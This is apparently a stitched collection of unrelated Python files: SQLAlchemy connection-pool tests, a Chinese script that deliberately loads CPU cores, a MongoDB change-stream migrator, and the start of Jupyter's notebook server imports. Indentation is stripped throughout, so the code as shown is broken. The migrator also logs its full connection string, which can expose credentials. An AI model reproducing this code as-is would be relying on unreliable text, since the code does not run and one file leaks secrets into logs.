pollute the SQL cache causing the application to not work at all.
A new suite has therefore been added in test/engine/test_execute.py->
OnConnectTest::test_initialize_connect_race to ensure that the engine
in total synchronizes the "first_connect" process, which now works
using a new events feature _exec_w_sync_on_first_run.
"""
@testing.requires.timing_intensive
def test_sync(self):
pool = self._queuepool_fixture(pool_size=3, max_overflow=0)
evt = Mock()
@event.listens_for(pool, "first_connect")
def slow_first_connect(dbapi_con, rec):
time.sleep(1)
evt.first_connect()
@event.listens_for(pool, "connect")
def on_connect(dbapi_con, rec):
evt.connect()
def checkout():
for j in range(2):
c1 = pool.connect()
time.sleep(0.02)
c1.close()
time.sleep(0.02)
threads = []
# what we're trying to do here is have concurrent use of
# all three pooled connections at once, and the thing we want
# to test is that first_connect() finishes completely before
# any of the connections get returned. so first_connect()
# sleeps for one second, then pings the mock. the threads should
# not have made it to the "checkout() event for that one second.
for i in range(5):
th = threading.Thread(target=checkout)
th.start()
threads.append(th)
for th in threads:
th.join(join_timeout)
# there is a very unlikely condition observed in CI on windows
# where even though we have five threads above all calling upon the
# pool, we didn't get concurrent use of all three connections, two
# connections were enough. so here we purposely just check out
# all three at once just to get a consistent test result.
make_sure_all_three_are_connected = [pool.connect() for i in range(3)]
for conn in make_sure_all_three_are_connected:
conn.close()
eq_(
evt.mock_calls,
[
call.first_connect(),
call.connect(),
call.connect(),
call.connect(),
],
)
class QueuePoolTest(PoolTestBase):
def test_queuepool_del(self):
self._do_testqueuepool(useclose=False)
def test_queuepool_close(self):
self._do_testqueuepool(useclose=True)
def _do_testqueuepool(self, useclose=False):
p = self._queuepool_fixture(pool_size=3, max_overflow=-1)
def status(pool):
return (
pool.size(),
pool.checkedin(),
pool.overflow(),
pool.checkedout(),
)
c1 = p.connect()
self.assert_(status(p) == (3, 0, -2, 1))
c2 = p.connect()
self.assert_(status(p) == (3, 0, -1, 2))
c3 = p.connect()
self.assert_(status(p) == (3, 0, 0, 3))
c4 = p.connect()
self.assert_(status(p) == (3, 0, 1, 4))
c5 = p.connect()
self.assert_(status(p) == (3, 0, 2, 5))
c6 = p.connect()
self.assert_(status(p) == (3, 0, 3, 6))
if useclose:
c4.close()
c3.close()
c2.close()
else:
c4 = c3 = c2 = None
lazy_gc()
eq_(status(p), (3, 3, 3, 3))
if useclose:
c1.close()
c5.close()
c6.close()
else:
c1 = c5 = c6 = None
lazy_gc()
self.assert_(status(p) == (3, 3, 0, 0))
c1 = p.connect()
c2 = p.connect()
self.assert_(status(p) == (3, 1, 0, 2), status(p))
if useclose:
c2.close()
else:
c2 = None
lazy_gc()
self.assert_(status(p) == (3, 2, 0, 1))
c1.close()
def test_timeout_accessor(self):
expected_timeout = 123
p = self._queuepool_fixture(timeout=expected_timeout)
eq_(p.timeout(), expected_timeout)
@testing.requires.timing_intensive
def test_timeout(self):
p = self._queuepool_fixture(pool_size=3, max_overflow=0, timeout=2)
c1 = p.connect() # noqa
c2 = p.connect() # noqa
c3 = p.connect() # noqa
now = time.time()
assert_raises(tsa.exc.TimeoutError, p.connect)
assert int(time.time() - now) == 2
@testing.requires.timing_intensive
def test_timeout_subsecond_precision(self):
p = self._queuepool_fixture(pool_size=1, max_overflow=0, timeout=0.5)
c1 = p.connect() # noqa
with expect_raises(tsa.exc.TimeoutError):
now = time.time()
c2 = p.connect() # noqa
# Python timing is not very accurate, the time diff should be very
# close to 0.5s but we give 200ms of slack.
assert 0.3 <= time.time() - now <= 0.7, "Pool timeout not respected"
@testing.requires.threading_with_mock
@testing.requires.timing_intensive
def test_timeout_race(self):
# test a race condition where the initial connecting threads all race
# to queue.Empty, then block on the mutex. each thread consumes a
# connection as they go in. when the limit is reached, the remaining
# threads go in, and get TimeoutError; even though they never got to
# wait for the timeout on queue.get(). the fix involves checking the
# timeout again within the mutex, and if so, unlocking and throwing
# them back to the start of do_get()
dbapi = MockDBAPI()
p = pool.QueuePool(
creator=lambda: dbapi.connect(delay=0.05),
pool_size=2,
max_overflow=1,
timeout=3,
)
timeouts = []
def checkout():
for x in range(1):
now = time.time()
try:
c1 = p.connect()
except tsa.exc.TimeoutError:
timeouts.append(time.time() - now)
continue
time.sleep(4)
c1.close()
threads = []
for i in range(10):
th = threading.Thread(target=checkout)
th.start()
threads.append(th)
for th in threads:
th.join(join_timeout)
assert len(timeouts) > 0
for t in timeouts:
assert t >= 3, "Not all timeouts were >= 3 seconds %r" % timeouts
# normally, the timeout should under 4 seconds,
# but on a loaded down buildbot it can go up.
assert t < 14, "Not all timeouts were < 14 seconds %r" % timeouts
def _test_overflow(self, thread_count, max_overflow):
reaper = testing.engines.ConnectionKiller()
dbapi = MockDBAPI()
mutex = threading.Lock()
def creator():
time.sleep(0.05)
with mutex:
return dbapi.connect()
p = pool.QueuePool(
creator=creator, pool_size=3, timeout=2, max_overflow=max_overflow
)
reaper.add_pool(p)
peaks = []
def whammy():
for i in range(10):
try:
con = p.connect()
time.sleep(0.005)
peaks.append(p.overflow())
con.close()
del con
except tsa.exc.TimeoutError:
pass
threads = []
for i in range(thread_count):
th = threading.Thread(target=whammy)
th.start()
threads.append(th)
for th in threads:
th.join(join_timeout)
self.assert_(max(peaks) <= max_overflow)
reaper.assert_all_closed()
def test_overflow_reset_on_failed_connect(self):
dbapi = Mock()
def failing_dbapi():
raise Exception("connection failed")
creator = dbapi.connect
def create():
return creator()
p = pool.QueuePool(creator=create, pool_size=2, max_overflow=3)
c1 = self._with_teardown(p.connect()) # noqa
c2 = self._with_teardown(p.connect()) # noqa
c3 = self._with_teardown(p.connect()) # noqa
eq_(p._overflow, 1)
creator = failing_dbapi
assert_raises(Exception, p.connect)
eq_(p._overflow, 1)
@testing.requires.threading_with_mock
@testing.requires.timing_intensive
def test_hanging_connect_within_overflow(self):
"""test that a single connect() call which is hanging
does not block other connections from proceeding."""
dbapi = Mock()
mutex = threading.Lock()
def hanging_dbapi():
time.sleep(2)
with mutex:
return dbapi.connect()
def fast_dbapi():
with mutex:
return dbapi.connect()
creator = threading.local()
def create():
return creator.mock_connector()
def run_test(name, pool, should_hang):
if should_hang:
creator.mock_connector = hanging_dbapi
else:
creator.mock_connector = fast_dbapi
conn = pool.connect()
conn.operation(name)
time.sleep(1)
conn.close()
p = pool.QueuePool(creator=create, pool_size=2, max_overflow=3)
threads = [
threading.Thread(target=run_test, args=("success_one", p, False)),
threading.Thread(target=run_test, args=("success_two", p, False)),
threading.Thread(target=run_test, args=("overflow_one", p, True)),
threading.Thread(target=run_test, args=("overflow_two", p, False)),
threading.Thread(
target=run_test, args=("overflow_three", p, False)
),
]
for t in threads:
t.start()
time.sleep(0.2)
for t in threads:
t.join(timeout=join_timeout)
eq_(
dbapi.connect().operation.mock_calls,
[
call("success_one"),
call("success_two"),
call("overflow_two"),
call("overflow_three"),
call("overflow_one"),
],
)
@testing.requires.threading_with_mock
@testing.requires.timing_intensive
def test_waiters_handled(self):
"""test that threads waiting for connections are
handled when the pool is replaced.
"""
mutex = threading.Lock()
dbapi = MockDBAPI()
def creator():
with mutex:
return dbapi.connect()
success = []
for timeout in (None, 30):
for max_overflow in (0, -1, 3):
p = pool.QueuePool(
creator=creator,
pool_size=2,
timeout=timeout,
max_overflow=max_overflow,
)
def waiter(p, timeout, max_overflow):
success_key = (timeout, max_overflow)
conn = p.connect()
success.append(success_key)
time.sleep(0.1)
conn.close()
c1 = p.connect() # noqa
c2 = p.connect()
threads = []
for i in range(2):
t = threading.Thread(
target=waiter, args=(p, timeout, max_overflow)
)
t.daemon = True
t.start()
threads.append(t)
# this sleep makes sure that the
# two waiter threads hit upon wait()
# inside the queue, before we invalidate the other
# two conns
time.sleep(0.2)
p._invalidate(c2)
for t in threads:
t.join(join_timeout)
eq_(len(success), 12, "successes: %s" % success)
def test_connrec_invalidated_within_checkout_no_race(self):
"""Test that a concurrent ConnectionRecord.invalidate() which
occurs after the ConnectionFairy has called
_ConnectionRecord.checkout()
but before the ConnectionFairy tests "fairy.dbapi_connection is None"
will not result in an InvalidRequestError.
This use case assumes that a listener on the checkout() event
will be raising DisconnectionError so that a reconnect attempt
may occur.
"""
dbapi = MockDBAPI()
def creator():
return dbapi.connect()
p = pool.QueuePool(creator=creator, pool_size=1, max_overflow=0)
conn = p.connect()
conn.close()
_existing_checkout = pool._ConnectionRecord.checkout
@classmethod
def _decorate_existing_checkout(cls, *arg, **kw):
fairy = _existing_checkout(*arg, **kw)
connrec = fairy._connection_record
connrec.invalidate()
return fairy
with patch(
"sqlalchemy.pool._ConnectionRecord.checkout",
_decorate_existing_checkout,
):
conn = p.connect()
is_(conn._connection_record.dbapi_connection, None)
conn.close()
@testing.requires.threading_with_mock
@testing.requires.timing_intensive
def test_notify_waiters(self):
dbapi = MockDBAPI()
canary = []
def creator():
canary.append(1)
return dbapi.connect()
p1 = pool.QueuePool(
creator=creator, pool_size=1, timeout=None, max_overflow=0
)
def waiter(p):
conn = p.connect()
canary.append(2)
time.sleep(0.5)
conn.close()
c1 = p1.connect()
threads = []
for i in range(5):
t = threading.Thread(target=waiter, args=(p1,))
t.start()
threads.append(t)
time.sleep(0.5)
eq_(canary, [1])
# this also calls invalidate()
# on c1
p1._invalidate(c1)
for t in threads:
t.join(join_timeout)
eq_(canary, [1, 1, 2, 2, 2, 2, 2])
def test_dispose_closes_pooled(self):
dbapi = MockDBAPI()
p = pool.QueuePool(
creator=dbapi.connect, pool_size=2, timeout=None, max_overflow=0
)
c1 = p.connect()
c2 = p.connect()
c1_con = c1.dbapi_connection
c2_con = c2.dbapi_connection
c1.close()
eq_(c1_con.close.call_count, 0)
eq_(c2_con.close.call_count, 0)
p.dispose()
eq_(c1_con.close.call_count, 1)
eq_(c2_con.close.call_count, 0)
# currently, if a ConnectionFairy is closed
# after the pool has been disposed, there's no
# flag that states it should be invalidated
# immediately - it just gets returned to the
# pool normally...
c2.close()
eq_(c1_con.close.call_count, 1)
eq_(c2_con.close.call_count, 0)
# ...and that's the one we'll get back next.
c3 = p.connect()
assert c3.dbapi_connection is c2_con
@testing.requires.threading_with_mock
@testing.requires.timing_intensive
def test_no_overflow(self):
self._test_overflow(40, 0)
@testing.requires.threading_with_mock
@testing.requires.timing_intensive
def test_max_overflow(self):
self._test_overflow(40, 5)
def test_overflow_no_gc(self):
p = self._queuepool_fixture(pool_size=2, max_overflow=2)
# disable weakref collection of the
# underlying connections
strong_refs = set()
def _conn():
c = p.connect()
strong_refs.add(c.dbapi_connection)
return c
for j in range(5):
# open 4 conns at a time. each time this
# will yield two pooled connections + two
# overflow connections.
conns = [_conn() for i in range(4)]
for c in conns:
c.close()
# doing that for a total of 5 times yields
# ten overflow connections closed plus the
# two pooled connections unclosed.
eq_(
set([c.close.call_count for c in strong_refs]),
set([1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0]),
)
def test_recycle(self):
with patch("sqlalchemy.pool.base.time.time") as mock:
mock.return_value = 10000
p = self._queuepool_fixture(
pool_size=1, max_overflow=0, recycle=30
)
c1 = p.connect()
c_ref = weakref.ref(c1.dbapi_connection)
c1.close()
mock.return_value = 10001
c2 = p.connect()
is_(c2.dbapi_connection, c_ref())
c2.close()
mock.return_value = 10035
c3 = p.connect()
is_not(c3.dbapi_connection, c_ref())
@testing.requires.timing_intensive
def test_recycle_on_invalidate(self):
p = self._queuepool_fixture(pool_size=1, max_overflow=0)
c1 = p.connect()
c_ref = weakref.ref(c1.dbapi_connection)
c1.close()
c2 = p.connect()
is_(c2.dbapi_connection, c_ref())
c2_rec = c2._connection_record
p._invalidate(c2)
assert c2_rec.dbapi_connection is None
c2.close()
time.sleep(0.5)
c3 = p.connect()
is_not(c3.dbapi_connection, c_ref())
@testing.requires.timing_intensive
def test_recycle_on_soft_invalidate(self):
p = self._queuepool_fixture(pool_size=1, max_overflow=0)
c1 = p.connect()
c_ref = weakref.ref(c1.dbapi_connection)
c1.close()
c2 = p.connect()
is_(c2.dbapi_connection, c_ref())
c2_rec = c2._connection_record
# ensure pool invalidate time will be later than starttime
# for ConnectionRecord objects above
time.sleep(0.1)
c2.invalidate(soft=True)
is_(c2_rec.dbapi_connection, c2.dbapi_connection)
c2.close()
c3 = p.connect()
is_not(c3.dbapi_connection, c_ref())
is_(c3._connection_record, c2_rec)
is_(c2_rec.dbapi_connection, c3.dbapi_connection)
def _no_wr_finalize(self):
finalize_fairy = pool._finalize_fairy
def assert_no_wr_callback(
connection, connection_record, pool, ref, echo, fairy=None
):
if fairy is None:
raise AssertionError(
"finalize fairy was called as a weakref callback"
)
return finalize_fairy(
connection, connection_record, pool, ref, echo, fairy
)
return patch.object(pool, "_finalize_fairy", assert_no_wr_callback)
def _assert_cleanup_on_pooled_reconnect(self, dbapi, p):
# p is QueuePool with size=1, max_overflow=2,
# and one connection in the pool that will need to
# reconnect when next used (either due to recycle or invalidate)
with self._no_wr_finalize():
eq_(p.checkedout(), 0)
eq_(p._overflow, 0)
dbapi.shutdown(True)
assert_raises_context_ok(Exception, p.connect)
eq_(p._overflow, 0)
eq_(p.checkedout(), 0) # and not 1
dbapi.shutdown(False)
c1 = self._with_teardown(p.connect()) # noqa
assert p._pool.empty() # poolsize is one, so we're empty OK
c2 = self._with_teardown(p.connect()) # noqa
eq_(p._overflow, 1) # and not 2
# this hangs if p._overflow is 2
c3 = self._with_teardown(p.connect())
c3.close()
def test_error_on_pooled_reconnect_cleanup_invalidate(self):
dbapi, p = self._queuepool_dbapi_fixture(pool_size=1, max_overflow=2)
c1 = p.connect()
c1.invalidate()
c1.close()
self._assert_cleanup_on_pooled_reconnect(dbapi, p)
@testing.requires.timing_intensive
def test_error_on_pooled_reconnect_cleanup_recycle(self):
dbapi, p = self._queuepool_dbapi_fixture(
pool_size=1, max_overflow=2, recycle=1
)
c1 = p.connect()
c1.close()
time.sleep(1.5)
self._assert_cleanup_on_pooled_reconnect(dbapi, p)
@testing.requires.timing_intensive
def test_connect_handler_not_called_for_recycled(self):
"""test [ticket:3497]"""
dbapi, p = self._queuepool_dbapi_fixture(pool_size=2, max_overflow=2)
canary = Mock()
c1 = p.connect()
c2 = p.connect()
c1.close()
c2.close()
dbapi.shutdown(True)
# ensure pool invalidate time will be later than starttime
# for ConnectionRecord objects above
time.sleep(0.1)
bad = p.connect()
p._invalidate(bad)
bad.close()
assert p._invalidate_time
event.listen(p, "connect", canary.connect)
event.listen(p, "checkout", canary.checkout)
assert_raises(Exception, p.connect)
p._pool.queue = collections.deque(
[c for c in p._pool.queue if c.dbapi_connection is not None]
)
dbapi.shutdown(False)
c = p.connect()
c.close()
eq_(
canary.mock_calls,
[call.connect(ANY, ANY), call.checkout(ANY, ANY, ANY)],
)
@testing.requires.timing_intensive
def test_connect_checkout_handler_always_gets_info(self):
"""test [ticket:3497]"""
dbapi, p = self._queuepool_dbapi_fixture(pool_size=2, max_overflow=2)
c1 = p.connect()
c2 = p.connect()
c1.close()
c2.close()
dbapi.shutdown(True)
# ensure pool invalidate time will be later than starttime
# for ConnectionRecord objects above
time.sleep(0.1)
bad = p.connect()
p._invalidate(bad)
bad.close()
assert p._invalidate_time
@event.listens_for(p, "connect")
def connect(conn, conn_rec):
conn_rec.info["x"] = True
@event.listens_for(p, "checkout")
def checkout(conn, conn_rec, conn_f):
assert "x" in conn_rec.info
assert_raises(Exception, p.connect)
p._pool.queue = collections.deque(
[c for c in p._pool.queue if c.dbapi_connection is not None]
)
dbapi.shutdown(False)
c = p.connect()
c.close()
def test_error_on_pooled_reconnect_cleanup_wcheckout_event(self):
dbapi, p = self._queuepool_dbapi_fixture(pool_size=1, max_overflow=2)
c1 = p.connect()
c1.close()
@event.listens_for(p, "checkout")
def handle_checkout_event(dbapi_con, con_record, con_proxy):
if dbapi.is_shutdown:
raise tsa.exc.DisconnectionError()
self._assert_cleanup_on_pooled_reconnect(dbapi, p)
@testing.combinations((True,), (False,))
def test_userspace_disconnectionerror_weakref_finalizer(self, detach_gced):
dbapi, pool = self._queuepool_dbapi_fixture(
pool_size=1, max_overflow=2, _is_asyncio=detach_gced
)
if detach_gced:
pool._dialect.is_async = True
@event.listens_for(pool, "checkout")
def handle_checkout_event(dbapi_con, con_record, con_proxy):
if getattr(dbapi_con, "boom") == "yes":
raise tsa.exc.DisconnectionError()
conn = pool.connect()
old_dbapi_conn = conn.dbapi_connection
conn.close()
eq_(old_dbapi_conn.mock_calls, [call.rollback()])
old_dbapi_conn.boom = "yes"
conn = pool.connect()
dbapi_conn = conn.dbapi_connection
del conn
gc_collect()
if detach_gced:
# new connection was detached + abandoned on return
eq_(dbapi_conn.mock_calls, [])
else:
# new connection reset and returned to pool
eq_(dbapi_conn.mock_calls, [call.rollback()])
# old connection was just closed - did not get an
# erroneous reset on return
eq_(old_dbapi_conn.mock_calls, [call.rollback(), call.close()])
@testing.requires.timing_intensive
def test_recycle_pool_no_race(self):
def slow_close():
slow_closing_connection._slow_close()
time.sleep(0.5)
slow_closing_connection = Mock()
slow_closing_connection.connect.return_value.close = slow_close
class Error(Exception):
pass
dialect = Mock()
dialect.is_disconnect = lambda *arg, **kw: True
dialect.dbapi.Error = Error
pools = []
class TrackQueuePool(pool.QueuePool):
def __init__(self, *arg, **kw):
pools.append(self)
super(TrackQueuePool, self).__init__(*arg, **kw)
def creator():
return slow_closing_connection.connect()
p1 = TrackQueuePool(creator=creator, pool_size=20)
from sqlalchemy import create_engine
eng = create_engine(testing.db.url, pool=p1, _initialize=False)
eng.dialect = dialect
# 15 total connections
conns = [eng.connect() for i in range(15)]
# return 8 back to the pool
for conn in conns[3:10]:
conn.close()
def attempt(conn):
time.sleep(random.random())
try:
conn._handle_dbapi_exception(
Error(), "statement", {}, Mock(), Mock()
)
except tsa.exc.DBAPIError:
pass
# run an error + invalidate operation on the remaining 7 open
# connections
threads = []
for conn in conns:
t = threading.Thread(target=attempt, args=(conn,))
t.start()
threads.append(t)
for t in threads:
t.join()
# return all 15 connections to the pool
for conn in conns:
conn.close()
# re-open 15 total connections
conns = [eng.connect() for i in range(15)]
# 15 connections have been fully closed due to invalidate
assert slow_closing_connection._slow_close.call_count == 15
# 15 initial connections + 15 reconnections
assert slow_closing_connection.connect.call_count == 30
assert len(pools) <= 2, len(pools)
def test_invalidate(self):
p = self._queuepool_fixture(pool_size=1, max_overflow=0)
c1 = p.connect()
c_id = c1.dbapi_connection.id
c1.close()
c1 = None
c1 = p.connect()
assert c1.dbapi_connection.id == c_id
c1.invalidate()
c1 = None
c1 = p.connect()
assert c1.dbapi_connection.id != c_id
def test_recreate(self):
p = self._queuepool_fixture(
reset_on_return=None, pool_size=1, max_overflow=0
)
p2 = p.recreate()
assert p2.size() == 1
assert p2._reset_on_return is pool.reset_none
assert p2._max_overflow == 0
def test_reconnect(self):
"""tests reconnect operations at the pool level. SA's
engine/dialect includes another layer of reconnect support for
'database was lost' errors."""
dbapi, p = self._queuepool_dbapi_fixture(pool_size=1, max_overflow=0)
c1 = p.connect()
c_id = c1.dbapi_connection.id
c1.close()
c1 = None
c1 = p.connect()
assert c1.dbapi_connection.id == c_id
dbapi.raise_error = True
c1.invalidate()
c1 = None
c1 = p.connect()
assert c1.dbapi_connection.id != c_id
def test_detach(self):
dbapi, p = self._queuepool_dbapi_fixture(pool_size=1, max_overflow=0)
c1 = p.connect()
c1.detach()
c2 = p.connect() # noqa
eq_(dbapi.connect.mock_calls, [call("foo.db"), call("foo.db")])
c1_con = c1.dbapi_connection
assert c1_con is not None
eq_(c1_con.close.call_count, 0)
c1.close()
eq_(c1_con.close.call_count, 1)
def test_detach_via_invalidate(self):
dbapi, p = self._queuepool_dbapi_fixture(pool_size=1, max_overflow=0)
c1 = p.connect()
c1_con = c1.dbapi_connection
c1.invalidate()
assert c1.dbapi_connection is None
eq_(c1_con.close.call_count, 1)
c2 = p.connect()
assert c2.dbapi_connection is not c1_con
c2_con = c2.dbapi_connection
c2.close()
eq_(c2_con.close.call_count, 0)
def test_no_double_checkin(self):
p = self._queuepool_fixture(pool_size=1)
c1 = p.connect()
rec = c1._connection_record
c1.close()
assert_raises_message(
Warning, "Double checkin attempted on %s" % rec, rec.checkin
)
def test_lifo(self):
c1, c2, c3 = Mock(), Mock(), Mock()
connections = [c1, c2, c3]
def creator():
return connections.pop(0)
p = pool.QueuePool(creator, use_lifo=True)
pc1 = p.connect()
pc2 = p.connect()
pc3 = p.connect()
pc1.close()
pc2.close()
pc3.close()
for i in range(5):
pc1 = p.connect()
is_(pc1.dbapi_connection, c3)
pc1.close()
pc1 = p.connect()
is_(pc1.dbapi_connection, c3)
pc2 = p.connect()
is_(pc2.dbapi_connection, c2)
pc2.close()
pc3 = p.connect()
is_(pc3.dbapi_connection, c2)
pc2 = p.connect()
is_(pc2.dbapi_connection, c1)
pc2.close()
pc3.close()
pc1.close()
def test_fifo(self):
c1, c2, c3 = Mock(), Mock(), Mock()
connections = [c1, c2, c3]
def creator():
return connections.pop(0)
p = pool.QueuePool(creator)
pc1 = p.connect()
pc2 = p.connect()
pc3 = p.connect()
pc1.close()
pc2.close()
pc3.close()
pc1 = p.connect()
is_(pc1.dbapi_connection, c1)
pc1.close()
pc1 = p.connect()
is_(pc1.dbapi_connection, c2)
pc2 = p.connect()
is_(pc2.dbapi_connection, c3)
pc2.close()
pc3 = p.connect()
is_(pc3.dbapi_connection, c1)
pc2 = p.connect()
is_(pc2.dbapi_connection, c3)
pc2.close()
pc3.close()
pc1.close()
class ResetOnReturnTest(PoolTestBase):
def _fixture(self, **kw):
dbapi = Mock()
return (
dbapi,
pool.QueuePool(creator=lambda: dbapi.connect("foo.db"), **kw),
)
def test_plain_rollback(self):
dbapi, p = self._fixture(reset_on_return="rollback")
c1 = p.connect()
c1.close()
assert dbapi.connect().rollback.called
assert not dbapi.connect().commit.called
def test_plain_commit(self):
dbapi, p = self._fixture(reset_on_return="commit")
c1 = p.connect()
c1.close()
assert not dbapi.connect().rollback.called
assert dbapi.connect().commit.called
def test_plain_none(self):
dbapi, p = self._fixture(reset_on_return=None)
c1 = p.connect()
c1.close()
assert not dbapi.connect().rollback.called
assert not dbapi.connect().commit.called
class SingletonThreadPoolTest(PoolTestBase):
@testing.requires.threading_with_mock
def test_cleanup(self):
self._test_cleanup(False)
# TODO: the SingletonThreadPool cleanup method
# has an unfixed race condition within the "cleanup" system that
# leads to this test being off by one connection under load; in any
# case, this connection will be closed once it is garbage collected.
# this pool is not a production-level pool and is only used for the
# SQLite "memory" connection, and is not very useful under actual
# multi-threaded conditions
# @testing.requires.threading_with_mock
# def test_cleanup_no_gc(self):
# self._test_cleanup(True)
def _test_cleanup(self, strong_refs):
"""test that the pool's connections are OK after cleanup() has
been called."""
dbapi = MockDBAPI()
lock = threading.Lock()
def creator():
# the mock iterator isn't threadsafe...
with lock:
return dbapi.connect()
p = pool.SingletonThreadPool(creator=creator, pool_size=3)
if strong_refs:
sr = set()
def _conn():
c = p.connect()
sr.add(c.dbapi_connection)
return c
else:
def _conn():
return p.connect()
def checkout():
for x in range(10):
c = _conn()
assert c
c.cursor()
c.close()
time.sleep(0.01)
threads = []
for i in range(10):
th = threading.Thread(target=checkout)
th.start()
threads.append(th)
for th in threads:
th.join(join_timeout)
lp = len(p._all_conns)
is_true(3 <= lp <= 4)
if strong_refs:
still_opened = len([c for c in sr if not c.close.call_count])
eq_(still_opened, 3)
def test_no_rollback_from_nested_connections(self):
dbapi = MockDBAPI()
lock = threading.Lock()
def creator():
# the mock iterator isn't threadsafe...
with lock:
return dbapi.connect()
p = pool.SingletonThreadPool(creator=creator, pool_size=3)
c1 = p.connect()
mock_conn = c1.dbapi_connection
c2 = p.connect()
is_(c1, c2)
c2.close()
eq_(mock_conn.mock_calls, [])
c1.close()
eq_(mock_conn.mock_calls, [call.rollback()])
class AssertionPoolTest(PoolTestBase):
def test_connect_error(self):
dbapi = MockDBAPI()
p = pool.AssertionPool(creator=lambda: dbapi.connect("foo.db"))
c1 = p.connect() # noqa
assert_raises(AssertionError, p.connect)
def test_connect_multiple(self):
dbapi = MockDBAPI()
p = pool.AssertionPool(creator=lambda: dbapi.connect("foo.db"))
c1 = p.connect()
c1.close()
c2 = p.connect()
c2.close()
c3 = p.connect() # noqa
assert_raises(AssertionError, p.connect)
class NullPoolTest(PoolTestBase):
def test_reconnect(self):
dbapi = MockDBAPI()
p = pool.NullPool(creator=lambda: dbapi.connect("foo.db"))
c1 = p.connect()
c1.close()
c1 = None
c1 = p.connect()
c1.invalidate()
c1 = None
c1 = p.connect()
dbapi.connect.assert_has_calls(
[call("foo.db"), call("foo.db")], any_order=True
)
class StaticPoolTest(PoolTestBase):
def test_recreate(self):
dbapi = MockDBAPI()
def creator():
return dbapi.connect("foo.db")
p = pool.StaticPool(creator)
p2 = p.recreate()
assert p._creator is p2._creator
def test_connect(self):
dbapi = MockDBAPI()
def creator():
return dbapi.connect("foo.db")
p = pool.StaticPool(creator)
c1 = p.connect()
conn = c1.dbapi_connection
c1.close()
c2 = p.connect()
is_(conn, c2.dbapi_connection)
class CreatorCompatibilityTest(PoolTestBase):
def test_creator_callable_outside_noarg(self):
e = testing_engine()
creator = e.pool._creator
try:
conn = creator()
finally:
conn.close()
def test_creator_callable_outside_witharg(self):
e = testing_engine()
creator = e.pool._creator
try:
conn = creator(Mock())
finally:
conn.close()
def test_creator_patching_arg_to_noarg(self):
e = testing_engine()
creator = e.pool._creator
try:
# the creator is the two-arg form
conn = creator(Mock())
finally:
conn.close()
def mock_create():
return creator()
conn = e.connect()
conn.invalidate()
conn.close()
# test that the 'should_wrap_creator' status
# will dynamically switch if the _creator is monkeypatched.
# patch it with a zero-arg form
with patch.object(e.pool, "_creator", mock_create):
conn = e.connect()
conn.invalidate()
conn.close()
conn = e.connect()
conn.close()
|
control_cpu_usage.py
|
"""
使用方法：命令行模式
python control_cpu_usage.py -c 20 -t 0.1
-c 指定cpu核数：不指定-c参数默认为所有核数。
-t 数值越大，cpu使用率越低。
"""
import argparse
import time
from multiprocessing import Process
from multiprocessing import cpu_count
def exec_func(bt):
while True:
for i in range(0, 9600000):
pass
try:
time.sleep(bt)
except:
break
if __name__ == "__main__":
parse = argparse.ArgumentParser(description='runing')
parse.add_argument(
"-c",
"--count",
default=cpu_count(),
help='cpu count'
)
parse.add_argument(
"-t",
"--time",
default=0.01,
help='cpu time'
)
args = parse.parse_args()
cpu_logical_count = int(args.count)
cpu_sleep_time = args.time
try:
cpu_sleep_time = int(args.time)
except ValueError:
try:
cpu_sleep_time = float(args.time)
except ValueError as ex:
raise ValueError(ex)
print('\n====================占用CPU核数{}.===================='.format(cpu_logical_count))
print('\n资源浪费starting......')
print(cpu_sleep_time)
try:
p = Process(target=exec_func, args=("bt",))
ps_list = []
for i in range(0, cpu_logical_count):
ps_list.append(Process(target=exec_func, args=(cpu_sleep_time,)))
for p in ps_list:
p.start()
for p in ps_list:
p.join()
except KeyboardInterrupt:
print("手工结束!")
|
ClusterMigrator.py
|
import json
import threading
from bson.json_util import dumps
from pymongo import MongoClient
from common.logger import get_logger
from .CollectionMigrator import CollectionMigrator
from .DatabaseMigrator import DatabaseMigrator
from .TokenTracker import TokenTracker
logger = get_logger(__name__)
class ClusterMigrator:
def __init__(self, cluster_name, connection_string):
self.__connection_string = connection_string
self.__cluster_name = cluster_name
self.__callback = None
self.__client = MongoClient(self.__connection_string)
self.__database_migrators = []
self.__skip_databases = ["admin", "local", "config"]
self.__tracker = TokenTracker()
self.__timer_threads = None
logger.info("Initializing the cluster migrator with connection string: %s", self.__connection_string)
def get_namespaces(self):
db_collections = {}
database_names = self.__client.list_database_names()
for db_name in database_names:
if db_name not in self.__skip_databases:
db = self.__client.get_database(db_name)
collection_names = db.collection_names(include_system_collections=False)
db_collections[db_name] = collection_names
else:
logger.info("Skipping the database: %s while fetching get_namespaces", db_name)
return db_collections
def peek(self, namepace):
names = namepace.split(".")
database_name = names[0]
collection_name = ".".join(names[1::])
collection = CollectionMigrator(self.__client, database_name, collection_name)
return collection.peek()
def validate(self, tokens):
logger.info("Validating the tokens: %s", dumps(tokens))
for namespace in tokens:
logger.info("Validating the tokens: %s => %s", namespace, dumps(tokens[namespace]))
token = tokens[namespace]
names = namespace.split(".")
database_name = names[0]
collection_name = ".".join(names[1::])
collection = CollectionMigrator(self.__client, database_name, collection_name)
is_valid = collection.validate(token)
if not is_valid:
logger.error("Validation of change stream resume token failed on collection: %s.", namespace)
return False
return True
def watch(self, tokens, notify_callback):
try:
self.__callback = notify_callback
logger.info("Fetching databases from the cluster: %s", self.__connection_string)
database_names = self.__client.list_database_names()
logger.info("Found the databases %s", json.dumps(database_names))
watch_threads = []
for database_name in database_names:
if database_name not in self.__skip_databases:
database_migrator = DatabaseMigrator(self.__client, self.__cluster_name, database_name)
t = threading.Thread(target=database_migrator.watch, args=(tokens, notify_callback,))
t.start()
watch_threads.append(t)
self.__database_migrators.append(database_migrator)
else:
logger.info("Skipping the database: %s for watching", database_name)
# wait for threads to join
for watch_thread in watch_threads:
watch_thread.join()
except Exception as e:
logger.exception(e)
def __invoke_callback(self, database_name, collection_name, change):
namespace = "{}.{}".format(database_name, collection_name)
# self.__tracker.update_token(namespace, change)
self.__callback(database_name, collection_name, change)
def close(self):
logger.info("Cleaning up the database migrators in the cluster.")
for migrator in self.__database_migrators:
migrator.close()
|
notebookapp.py
|
# coding: utf-8
"""A tornado based Jupyter notebook server."""
# Copyright (c) Jupyter Development Team.
# Distributed under the terms of the Modified BSD License.
from __future__ import absolute_import, print_function
import notebook
import binascii
import datetime
import errno
import gettext
import hashlib
import hmac
import importlib
import io
import ipaddress
import json
import logging
import mimetypes
import os
import random
import re
import select
import signal
import socket
import sys
import threading
import time
import warnings
import webbrowser
try: #PY3
from base64 import encodebytes
except ImportError: #PY2
from base64 import encodestring as encodebytes
from jinja2 import Environment, FileSystemLoader
